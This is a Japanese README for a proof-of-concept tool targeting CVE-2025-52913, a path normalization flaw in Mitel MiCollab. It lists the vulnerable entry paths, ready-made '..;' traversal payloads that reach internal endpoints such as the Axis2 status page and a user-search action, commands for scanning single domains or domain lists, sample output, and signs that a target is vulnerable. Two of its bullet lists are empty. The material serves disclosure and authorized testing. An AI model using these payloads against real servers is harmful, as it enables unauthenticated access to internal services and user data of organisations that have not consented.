
CVE-2025-52913(Mitel MiCollabにおけるパス正規化の脆弱性)の概念実証(PoC)
このリポジトリには、Mitel MiCollab に影響を与えるパス正規化の脆弱性 CVE-2025-52913 の概念実証(PoC)が含まれています。
この問題により、認証されていない攻撃者が ..; などの細工された URL シーケンスを利用して意図されたパス制限を回避し、内部アプリケーションエンドポイントへのアクセスを可能にします。
悪用に成功すると、以下が可能になる可能性があります:
脆弱性は以下のパスでトリガーできます:
/npm-pwg/loginForm.jsp/
/npm-pwg/extendedUmPlayMessage.jsp/
/npm-admin/showLoginPage.do/
/npm-admin/login.do/
トラバーサルペイロードの例:
/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp
/..;/..;/usp/searchUsers.do
pip install -r requirements.txt
python3 POC-CVE-2025-52913.py example.com
python3 POC-CVE-2025-52913.py domains.txt
[*] Testing http://example.com
[+] http://example.com/npm-pwg/loginForm.jsp/..;/..;/axis2-AWC/axis2-web/HappyAxis.jsp - 200
[!] Possible success
ターゲットが脆弱である可能性が高い条件:
サーバーが HTTP 200 を返す
レスポンスに以下が含まれる:
Axis2Axis2 Happiness Pageこの脆弱性は、..; を含む細工されたパスの不適切な正規化に起因し、意図されたアプリケーションコンテキストを超えたトラバーサルを可能にします。
この動作により、以下のような内部サービスが露出する可能性があります:
Dahmani Toumi によって発見されました
このプロジェクトは教育目的および許可されたセキュリティテストのみを目的としています。
明示的な許可なく本ツールをシステムに対して使用しないでください。
著者は誤用や損害について一切の責任を負いません。